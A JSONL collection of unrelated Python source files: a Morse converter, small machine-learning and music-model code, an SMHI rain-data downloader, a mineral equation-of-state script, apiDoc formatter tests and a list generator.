+{"seq_id":"41862647","text":"morse_map = {\r\n \"A\": \".-\", \"B\": \"-...\", \"C\": \"-.-.\", \"D\": \"-..\", \"E\": \".\", \"F\": \"..-.\",\r\n \"G\": \"--.\", \"H\": \"....\", \"I\": \"..\", \"J\": \".---\", \"K\": \"-.-\", \"L\": \".-..\",\r\n \"M\": \"--\", \"N\": \"-.\", \"O\": \"---\", \"P\": \".--.\", \"Q\": \"--.-\", \"R\": \".-.\",\r\n \"S\": \"...\", \"T\": \"-\", \"U\": \"..-\", \"V\": \"..-\", \"W\": \".--\", \"X\": \"-..-\",\r\n \"Y\": \"-.--\", \"Z\": \"--..\", \" \": \"+\", \"1\": \".----\", \"2\": \"..---\", \"3\": \"...--\",\r\n \"4\": \"....-\", \"5\": \".....\", \"6\": \"-....\", \"7\": \"--...\", \"8\": \"---..\", \"9\": \"----.\",\r\n \"0\": \"-----\", \"?\": \"..--..\", \",\": \"--..--\", \".\": \".-.-.-\",\r\n }\r\n\r\ninv_morse_map = {y:x for x, y in morse_map.items()}\r\n\r\n\r\n\r\ndef text2morse():\r\n user_input = input(\"Enter your text to convert it to morse code:\\n(Spaces will later symbolise the beginning of a new letter)\\n(A plus sign will later symbolise the beginning of a new word)\\n(Only english letters, numbers and '?', ',', '.')\\n\")\r\n for char in user_input:\r\n print(morse_map[char.upper()], end=\" \")\r\n\r\ndef morse2text():\r\n user_input = input(\"Enter your morse code to convert it to normal text:\\n(Put spaces after each letter)\\n(Use a plus sign to symbolise the start of a new word)\\n(Only english letters, numbers and '?', ',', '.')\\n\")\r\n for char in user_input.split(\" \"):\r\n print(inv_morse_map[char], end=\"\")\r\n\r\n\r\n\r\nwhile True:\r\n selection = input(\"\\nDo you want to do 'Text2Morse' or 'Morse2Text'?\\n(Type 't2m' or 'm2t' respectively)\\n('quit' to close the converter)\\n\")\r\n\r\n if selection == \"t2m\":\r\n text2morse()\r\n continue\r\n\r\n elif selection == \"m2t\":\r\n morse2text()\r\n continue\r\n\r\n elif selection == \"quit\":\r\n break\r\n\r\n else:\r\n print(\"Unknown command, please type either 't2m' or 'm2t'\\n\")\r\n continue\r\n","sub_path":"morse-textconverter.py","file_name":"morse-textconverter.py","file_ext":"py","file_size_in_byte":1758,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"35"}
+{"seq_id":"465075853","text":"# encoding: utf-8\nimport numpy as np\nfrom sklearn import datasets\nimport chainer\nfrom chainer import cuda, Function, report, training, utils, Variable\nfrom chainer import iterators, optimizers, serializers\nfrom chainer import Link, Chain, ChainList\nimport chainer.functions as F\nimport chainer.links as L\nfrom chainer.datasets import tuple_dataset\nfrom chainer import training\nfrom chainer.training import extensions\n\nnp.random.seed(0)\n\n# クロスエントロピー誤差を用いる場合\nclass IrisChain(Chain):\n def __init__(self):\n super(IrisChain, self).__init__()\n with self.init_scope():\n self.l1 = L.Linear(4, 6)\n self.l2 = L.Linear(6, 3)\n\n # 第一引数はデータのバッチ、第二引数は対応する教師データのバッチにしないといけない\n def __call__(self, x, y):\n return F.softmax_cross_entropy(self.fwd(x), y)\n\n def fwd(self, x):\n h1 = F.sigmoid(self.l1(x))\n h2 = self.l2(h1)\n\n return h2\n\nif __name__ == '__main__':\n # データの生成\n iris = datasets.load_iris()\n X = iris.data.astype(np.float32)\n Y = iris.target.astype(np.int32) # 整数値\n N = Y.size\n\n index = np.arange(N)\n xtrain = X[index[index % 2 != 0], :]\n ytrain = Y[index[index % 2 != 0]] # 教師信号は整数値\n trains = tuple_dataset.TupleDataset(xtrain, ytrain)\n\n xtest = X[index[index % 2 == 0], :]\n ytest = Y[index[index % 2 == 0]] # Yは一次元なので\n tests = tuple_dataset.TupleDataset(xtest, ytest)\n\n # モデルの学習\n model = IrisChain()\n optimizer = optimizers.SGD()\n optimizer.setup(model)\n\n # ミニバッチ法\n epochs = 1000 # エポック数\n bs = 25 # ミニバッチのサイズ\n\n train_iterator = iterators.SerialIterator(trains, bs)\n updater = training.StandardUpdater(train_iterator, optimizer, device=-1)\n trainer = training.Trainer(updater, (epochs, 'epoch'))\n test_iterator = iterators.SerialIterator(tests, bs, repeat=False, shuffle=False)\n # こんな感じでextendできる\n trainer.extend(extensions.Evaluator(test_iterator, model, device=-1))\n # trainer.extend(extensions.LogReport())\n trainer.extend(extensions.ProgressBar())\n\n # モデルの学習\n trainer.run()\n\n # モデルの評価 extendsでも行える\n xt = Variable(xtest)\n yt = model.fwd(xt)\n ans = yt.data\n nrow, ncol = ans.shape\n\n correct_ans_count = 0\n for i in range(nrow):\n teacher_class = np.argmax(ans[i, :])\n if teacher_class == ytest[i]:\n correct_ans_count += 1\n\n print(\"accuracy = {0}\".format(correct_ans_count / nrow))\n","sub_path":"chapter5/trainer.py","file_name":"trainer.py","file_ext":"py","file_size_in_byte":2662,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"35"}
+{"seq_id":"517100076","text":"import torch\nimport torch.nn as nn\nimport torch.nn.functional as F\nimport time\nfrom torch.autograd import Variable\nimport random\nimport numpy\nimport math\n\nfrom torch.nn.modules import dropout\n\nfrom . import model_constants as cons\nfrom .model_utils import make_higher_node, reparameterize, span_beat_to_note_num\nfrom . import model_utils as utils\nfrom .utils import note_tempo_infos_to_beat\nfrom .module import GatedGraph, SimpleAttention, ContextAttention\nfrom .model_constants import QPM_INDEX, QPM_PRIMO_IDX, TEMPO_IDX, PITCH_IDX\n\n# VOICE_IDX = 11\n# PITCH_IDX = 13\n# TEMPO_IDX = PITCH_IDX + 13\nDYNAMICS_IDX = TEMPO_IDX + 5\nLEN_DYNAMICS_VEC = 4\nTEMPO_PRIMO_IDX = -2\nNUM_VOICE_FEED_PARAM = 2\n\n\n\nclass VirtuosoNet(nn.Module):\n def __init__(self):\n super(VirtuosoNet, self).__init__()\n\n def encode_style(self, x, y, edges, note_locations, num_samples=10, return_z=True):\n score_embedding = self.score_encoder(x, edges, note_locations)\n if return_z:\n performance_embedding = self.performance_encoder(score_embedding, y, edges, note_locations, return_z=return_z, num_samples=num_samples)\n return performance_embedding\n else:\n z, mu, var = self.performance_encoder(score_embedding, y, edges, note_locations, return_z=return_z, num_samples=num_samples)\n return z, mu ,var\n\n\n\n def encode_style_distribution(self, x, y, edges, note_locations):\n score_embedding = self.score_encoder(x, edges, note_locations)\n _, perform_mu, perform_var = self.performance_encoder(score_embedding, y, edges, note_locations)\n\n return perform_mu, perform_var\n\n def forward(self, x, y, edges, note_locations, initial_z=None):\n score_embedding = self.score_encoder(x, edges, note_locations)\n if initial_z is None:\n performance_embedding, perform_mu, perform_var = self.performance_encoder(score_embedding, y, edges, note_locations, return_z=False)\n else: \n perform_mu, perform_var = 0, 0\n if type(initial_z) is str and initial_z == 'zero':\n zero_mean = torch.zeros(self.performance_encoder.performance_encoder_mean.out_features)\n one_std = torch.zeros_like(zero_mean) # log std 0\n performance_embedding = reparameterize(zero_mean, one_std).to(x.device)\n elif isinstance(initial_z, torch.Tensor) and not initial_z.is_cuda:\n performance_embedding = torch.Tensor(initial_z).to(x.device).view(1,-1)\n else:\n performance_embedding = initial_z\n residual_info = self.residual_info_selector(x, note_locations)\n output, alter_out = self.performance_decoder(score_embedding, performance_embedding, residual_info, edges, note_locations)\n return output, perform_mu, perform_var, alter_out\n\n\nclass TrillRNN(nn.Module):\n def __init__(self, net_params, device):\n super(TrillRNN, self).__init__()\n self.hidden_size = net_params.note.size\n self.num_layers = net_params.note.layer\n self.input_size = net_params.input_size\n self.output_size = net_params.output_size\n self.device = device\n self.is_graph = False\n self.loss_type = 'MSE'\n\n # self.lstm = nn.LSTM(self.input_size, self.hidden_size, self.num_layers, batch_first=True, bidirectional=True, dropout=DROP_OUT)\n # self.fc = nn.Linear(hidden_size * 2, num_output) # 2 for\n\n self.note_fc = nn.Sequential(\n nn.Linear(self.input_size, self.hidden_size),\n nn.ReLU(),\n nn.Dropout(DROP_OUT),\n nn.Linear(self.hidden_size, self.hidden_size),\n nn.ReLU(),\n )\n self.note_lstm = nn.LSTM(self.hidden_size, self.hidden_size, num_layers=self.num_layers, bidirectional=True, batch_first=True)\n\n self.out_fc = nn.Sequential(\n nn.Linear(self.hidden_size * 2, self.hidden_size),\n nn.ReLU(),\n nn.Dropout(DROP_OUT),\n nn.Linear(self.hidden_size, self.output_size),\n )\n self.sigmoid = nn.Sigmoid()\n\n def forward(self, x, y, edges, note_locations, start_index, initial_z=0):\n note_contracted = self.note_fc(x)\n hidden_out, _ = self.note_lstm(note_contracted)\n\n out = self.out_fc(hidden_out)\n\n if self.loss_type == 'MSE':\n up_trill = self.sigmoid(out[:,:,-1])\n out[:,:,-1] = up_trill\n else:\n out = self.sigmoid(out)\n return out, False, False, torch.zeros(1)\n\n\nclass TrillGraph(nn.Module):\n def __init__(self, net_params, trill_index, loss_type, device):\n super(TrillGraph, self).__init__()\n self.loss_type = loss_type\n self.hidden_size = net_params.note.size\n self.num_layers = net_params.note.layer\n self.input_size = net_params.input_size\n self.output_size = net_params.output_size\n self.num_edge_types = net_params.num_edge_types\n self.is_trill_index = trill_index\n self.device = device\n\n # self.lstm = nn.LSTM(self.input_size, self.hidden_size, self.num_layers, batch_first=True, bidirectional=True, dropout=DROP_OUT)\n # self.fc = nn.Linear(hidden_size * 2, num_output) # 2 for\n\n self.note_fc = nn.Sequential(\n nn.Linear(self.input_size, self.hidden_size),\n nn.ReLU(),\n nn.Dropout(DROP_OUT),\n nn.Linear(self.hidden_size, self.hidden_size),\n nn.ReLU(),\n )\n self.graph = GatedGraph(self.hidden_size, self.num_edge_types)\n\n self.out_fc = nn.Sequential(\n nn.Linear(self.hidden_size, self.hidden_size),\n nn.ReLU(),\n nn.Dropout(DROP_OUT),\n nn.Linear(self.hidden_size, self.output_size),\n )\n self.sigmoid = nn.Sigmoid()\n\n def forward(self, x, edges):\n # hidden = self.init_hidden(x.size(0))\n # hidden_out, hidden = self.lstm(x, hidden) # out: tensor of shape (batch_size, seq_length, hidden_size*2)\n if edges.shape[0] != self.num_edge_types:\n edges = edges[:self.num_edge_types, :, :]\n\n # Decode the hidden state of the last time step\n is_trill_mat = x[:, :, self.is_trill_index]\n is_trill_mat = is_trill_mat.view(1,-1,1).repeat(1,1,self.output_size).view(1,-1,self.output_size)\n is_trill_mat = Variable(is_trill_mat, requires_grad=False)\n\n note_contracted = self.note_fc(x)\n note_after_graph = self.graph(note_contracted, edges, iteration=5)\n out = self.out_fc(note_after_graph)\n\n if self.loss_type == 'MSE':\n up_trill = self.sigmoid(out[:,:,-1])\n out[:,:,-1] = up_trill\n else:\n out = self.sigmoid(out)\n # out = out * is_trill_mat\n return out\n\n\n","sub_path":"src/virtuoso/model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":6762,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"35"}
+{"seq_id":"428614262","text":"import urllib.request\nimport xml.etree.ElementTree\nimport logging\n\ndef extract_xml_tree_from_url(url):\n\tlogging.debug(\"Starting download of %s\" % url)\n\tdata = urllib.request.urlopen(url)\n\n\tif data.getcode() != 200:\n\t\traise RuntimeError(\"Didnt get a 200 response from the webserver.\")\n\n\ttree = xml.etree.ElementTree.parse(data)\n\troot = tree.getroot()\n\tlogging.debug(\"Successfully extraced a root node for a xml tree.\")\n\n\treturn root\n\ndef get_relevant_rain_params(url,ns):\n\t\n\troot = extract_xml_tree_from_url(url)\n\n\tlink_title = \"Nederbördsmängd\" # datat vi öker är nederbörd\n\tlink_summary = \"summa 1 dygn, 1 gång/dygn, kl 06\" # vi vill att dataserien är dygnsvis\n\tnexturl = \"\"\n\n\txpath_querey = \".//default:resource[default:title='%s']\" % link_title\n\n\tlogging.debug(\"Searching for \"+xpath_querey)\n\tnodes = root.findall(xpath_querey ,ns)\n\tlogging.debug(\"found %i relevant nodes of that type\" % len(nodes) )\n\tfor node in nodes:\n\t\tlogging.debug(\"Looking at a node of tag-type:\"+node.tag+\" and title \"+node.find('default:title',ns).text)\n\t\tlogging.debug(\"The summary is: \"+node.find(\"default:summary\",ns).text)\n\n\t\tif node.find(\"default:summary\",ns).text == link_summary:\n\t\t\tlinknode = node.find(\"./default:link[@type='application/xml']\",ns)\n\t\t\tnexturl = linknode.get(\"href\")\n\n\n\tif nexturl == \"\":\n\t\traise RuntimeError(\"Kunde inte hitta en länklista för %s över %s\" % (link_title,link_summary));\n\n\treturn(nexturl)\n\ndef get_link_for_stockholm(url,name_space):\n\troot = extract_xml_tree_from_url(url)\n\tnexturl =\"\"\n\tstation_name = \"Stockholm\"\n\tXPath_querey = \".//default:station[default:name='%s']\" % station_name\n\n\tlogging.debug(\"finding by XPath querey = \"+XPath_querey)\n\n\tstation_element = root.find(XPath_querey, name_space)\n\tlogging.debug(name_space)\t\n\tnexturl = station_element.find(\"./ns2:link[@type='application/xml']\",name_space).get(\"href\")\n\n\tif nexturl == \"\":\n\t\traise RuntimeError(\"Kunde inte hitta en resurs som pekar på regnet för plats %s\" % station_name);\n\n\treturn nexturl\n\ndef get_link_to_data_last_months(url,name_space):\n\troot = extract_xml_tree_from_url(url)\n\tnexturl =\"\"\n\ttime_period = \"latest-months\"\n\n\telement = root.find(\".//default:period[ns2:key='%s']\" % time_period,name_space)\n\tnexturl = element.find(\"./ns2:link[@type='application/xml']\",name_space).get(\"href\")\n\t\n\tif nexturl == \"\":\n\t\traise RuntimeError(\"Kunde inte hitta en resurs som pekar på regnet för tid %s\" % time_period);\n\n\treturn nexturl\t\n\ndef get_link_to_xml_data(url,name_space):\n\troot = extract_xml_tree_from_url(url)\n\tnexturl =\"\"\n\ttime_period = \"latest-months\"\n\n\tnexturl = root.find(\".//default:data/ns2:link[@type='application/xml']\",name_space).get(\"href\")\n\t\n\tif nexturl == \"\":\n\t\traise RuntimeError(\"Kunde inte hitta en xml-data-länk\");\n\n\treturn nexturl\t\n\n\ndef download_data(url,file_path):\n\tlogging.debug(\"Starting to fetch the url %s\" % url)\n\tdata = urllib.request.urlopen(url)\n\tcharset = data.headers.get_content_charset()\n\tif charset is None:\n\t\tcharset = \"utf-8\" # en vild gissning!\n\n\tcontent = data.read()\n\twith open( file_path,'w') as f:\n\t\tf.write( content.decode(charset) )\n\treturn\n\n\nif __name__ == '__main__':\n\tlogging.basicConfig(level=logging.DEBUG, format='%(relativeCreated)6d %(threadName)s %(message)s')\n\tsmhi_base_api_entry_point = \"http://opendata-download-metobs.smhi.se/api/version/latest.xml\"\n\tns_type_1 = {\"default\": \"http://opendata.smhi.se/xsd/portal.xsd\"}\n\tns_type_2 = {'default': \"http://opendata.smhi.se/xsd/metobs_v1.xsd\"\n\t\t\t\t, \"ns2\": \"http://opendata.smhi.se/xsd/portal.xsd\"}\n\n\train_links_list_url = get_relevant_rain_params(smhi_base_api_entry_point,ns_type_1)\n\tresource_url = get_link_for_stockholm(rain_links_list_url,ns_type_2)\n\tdata_type_url = get_link_to_data_last_months(resource_url,ns_type_2)\n\tdata_url = get_link_to_xml_data(data_type_url,ns_type_2)\n\tdownload_data(data_url,\"raw_rain_data.xml\")","sub_path":"WeatherAnalysis/download_rain_data.py","file_name":"download_rain_data.py","file_ext":"py","file_size_in_byte":3829,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"35"}
+{"seq_id":"246010712","text":"from numpy import *\nfrom burnman import *\n\ndefault_location_core = \"/Users/sabrinaberger/RockyPlanets/Code/EoS/core_constant_\"\ndefault_location_mantle = \"/Users/sabrinaberger/RockyPlanets/Code/EoS/mantle_constant_\"\n\n\nmantleMaterial = minerals.SLB_2011.mg_fe_silicate_perovskite()\nmantleMaterial.set_composition([0.1, 0.1, 0.8])\nmantleComposite = Composite([mantleMaterial], [1])\n\ncoreMaterial = minerals.Murakami_2013.fe_perovskite()\ncoreComposite = Composite([coreMaterial], [1])\n\n\ndef mantle(pressures, temperatures):\n density = mantleMaterial.evaluate(\n ['density'], pressures, temperatures)\n return density\n\n\ndef core(pressures, temperatures):\n density = coreMaterial.evaluate(\n ['density'], pressures, temperatures)\n return density\n\npressures_range = linspace(0, 3.6385e10, 1e4)\ntemperature_range = linspace(300, 3000, 10)\n\n\ndef constant_temperatures_eos_creator(pressures, temp_eos, location_core, location_mantle):\n for temp in temp_eos:\n temperatures = empty(len(pressures))\n temperatures.fill(temp)\n mantle_eos = mantle(pressures, temperatures)\n core_eos = core(pressures, temperatures)\n\n # c_ makes sure lists end up columned\n savetxt(location_mantle + str(temp) +\n \".dat\", c_[mantle_eos[0], pressures], fmt='%e')\n savetxt(location_core + str(temp) +\n \".dat\", c_[core_eos[0], pressures], fmt='%e')\n\n# To do: implement iron class, wasn't working in adiabat eos so try later\n\n# # iron class taken from example_build_planet.py\n# # A basic set of EoS parameters for solid iron\n#\n# class iron(burnman.Mineral):\n# def __init__(self):\n# # Parameters for gamma - Fe are from Tsujino et al. 2013\n# # G_0 G_Prime0 from Mao et al. 2001 (fig. 3)\n# self.params = {\n# 'equation_of_state': 'slb3',\n# 'T_0': 1273.,x\n# 'V_0': 7.381e-06,\n# 'K_0': 111.5e9,\n# 'Kprime_0': 5.2,\n# 'G_0': 83.2e9, # Shear modulus and derivative from Gleason and Mao, 2013\n# 'Gprime_0': 2.04,\n# 'molar_mass': 55.845 / 1000.,\n# 'n': 1,\n# 'Debye_0': 340.,\n# 'grueneisen_0': 2.28,\n# 'q_0': 0.21,\n# 'eta_s_0': 2.0 # Wholly invented value\n# }\n# burnman.Mineral.__init__(self)\n\n","sub_path":"constant_burnman.py","file_name":"constant_burnman.py","file_ext":"py","file_size_in_byte":2351,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"35"}
+{"seq_id":"424118999","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\nimport json\nimport unittest\n\nfrom adfmt.enums import (\n RequestMethod,\n BasePermission,\n ParamTyping,\n ApiDoc,\n)\n\n\nclass TestRequestMethod(unittest.TestCase):\n m = RequestMethod\n\n def test_get(self) -> None:\n m = self.m\n\n get = m.Get\n self.assertEqual(get.formatted, '{get}')\n\n def test_post(self) -> None:\n m = self.m\n\n post = m.Post\n self.assertEqual(post.formatted, '{post}')\n\n\nclass CustomPermission(BasePermission):\n Admin = 'User admin'\n Nothing = ''\n\n\nclass TestPermissionDerive(unittest.TestCase):\n p = CustomPermission\n\n def test_admin(self) -> None:\n p = self.p\n\n admin = p.Admin\n self.assertEqual(admin.explain, 'User admin')\n\n def test_nothing(self) -> None:\n p = self.p\n\n nothing = p.Nothing\n self.assertEqual(nothing.explain, '')\n\n\nclass TestParamTyping(unittest.TestCase):\n t = ParamTyping\n\n def test_str(self) -> None:\n t = self.t\n\n string = t.Str\n self.assertEqual(string.formatted, '{String}')\n\n def test_list(self) -> None:\n t = self.t\n\n array = t.List\n self.assertEqual(array.formatted, '{Array}')\n\n def test_num(self) -> None:\n t = self.t\n\n number = t.Num\n self.assertEqual(number.formatted, '{Number}')\n\n def test_obj(self) -> None:\n t = self.t\n\n obj = t.Obj\n self.assertEqual(obj.formatted, '{Object}')\n\n def test_bool(self) -> None:\n t = self.t\n\n boolean = t.Bool\n self.assertEqual(boolean.formatted, '{Boolean}')\n\n\nclass TestApiDoc(unittest.TestCase):\n a = ApiDoc\n\n def test_declare(self) -> None:\n a = self.a\n\n declare = a.Declare\n self.assertEqual(\n declare.statement(\n method=RequestMethod.Post,\n path='/test',\n title='test',\n ),\n '@api {post} /test test',\n )\n\n def test_permission(self) -> None:\n a = self.a\n\n perm = a.Perm\n self.assertEqual(\n perm.instruction(\n permit=CustomPermission.Admin,\n ),\n '@apiPermission admin User admin',\n )\n\n def test_group(self) -> None:\n a = self.a\n\n group = a.Group\n self.assertEqual(\n group.explain(\n content='test',\n ),\n '@apiGroup test',\n )\n\n def test_description(self) -> None:\n a = self.a\n\n desc = a.Desc\n self.assertEqual(\n desc.explain(\n content='test',\n ),\n '@apiDescription test',\n )\n\n def test_header(self) -> None:\n a = self.a\n\n header = a.Header\n self.assertEqual(\n header.param(\n typing=ParamTyping.Str,\n group='(test)',\n name='test',\n explain='param: test',\n ),\n '@apiHeader (test) {String} test param: test',\n )\n\n self.assertEqual(\n header.example(\n name='header-example',\n content=json.dumps(dict(test='test')),\n ),\n '@apiHeaderExample {json} header-example\\n%s' % json.dumps(dict(test='test')),\n )\n\n def test_param(self) -> None:\n a = self.a\n\n param = a.Param\n self.assertEqual(\n param.param(\n typing=ParamTyping.Num,\n group='(test)',\n name='test',\n explain='param: test',\n ),\n '@apiParam (test) {Number} test param: test',\n )\n\n self.assertEqual(\n param.example(\n name='param-example',\n content=json.dumps(dict(test='test')),\n ),\n '@apiParamExample {json} param-example\\n%s' % json.dumps(dict(test='test')),\n )\n\n def test_success(self) -> None:\n a = self.a\n\n success = a.Success\n self.assertEqual(\n success.param(\n typing=ParamTyping.Bool,\n group='(test)',\n name='test',\n explain='success: test',\n ),\n '@apiSuccess (test) {Boolean} test success: test',\n )\n\n self.assertEqual(\n success.example(\n name='success-example',\n content=json.dumps(dict(test='test')),\n ),\n '@apiSuccessExample {json} success-example\\n%s' % json.dumps(dict(test='test')),\n )\n\n def test_error(self) -> None:\n a = self.a\n\n error = a.Error\n self.assertEqual(\n error.param(\n typing=ParamTyping.List,\n group='(test)',\n name='test',\n explain='error: test',\n ),\n '@apiError (test) {Array} test error: test',\n )\n\n self.assertEqual(\n error.example(\n name='error-example',\n content=json.dumps(dict(test='test')),\n ),\n '@apiErrorExample {json} error-example\\n%s' % json.dumps(dict(test='test')),\n )\n\n\nif __name__ == '__main__':\n unittest.main()\n","sub_path":"test/test_enums.py","file_name":"test_enums.py","file_ext":"py","file_size_in_byte":5233,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"35"}
+{"seq_id":"429948946","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Fri Nov 20 13:37:33 2015\n\n@author: Lingfei Hu\n\"\"\"\n\nimport sys\n\ninput_file = open(sys.argv[1])\noutput_file = open(sys.argv[2], 'w')\n\nword_list = []\n\nfor line in input_file:\n line = line.strip()\n if line == '':\n continue\n if line.startswith(';'):\n continue\n word_list.append(line)\n \nword_list_str = '\\', \\''.join(word_list)\n\noutput_file.write(word_list_str)\n \ninput_file.close()\noutput_file.close()","sub_path":"bia-660/final/list_generator.py","file_name":"list_generator.py","file_ext":"py","file_size_in_byte":467,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"35"}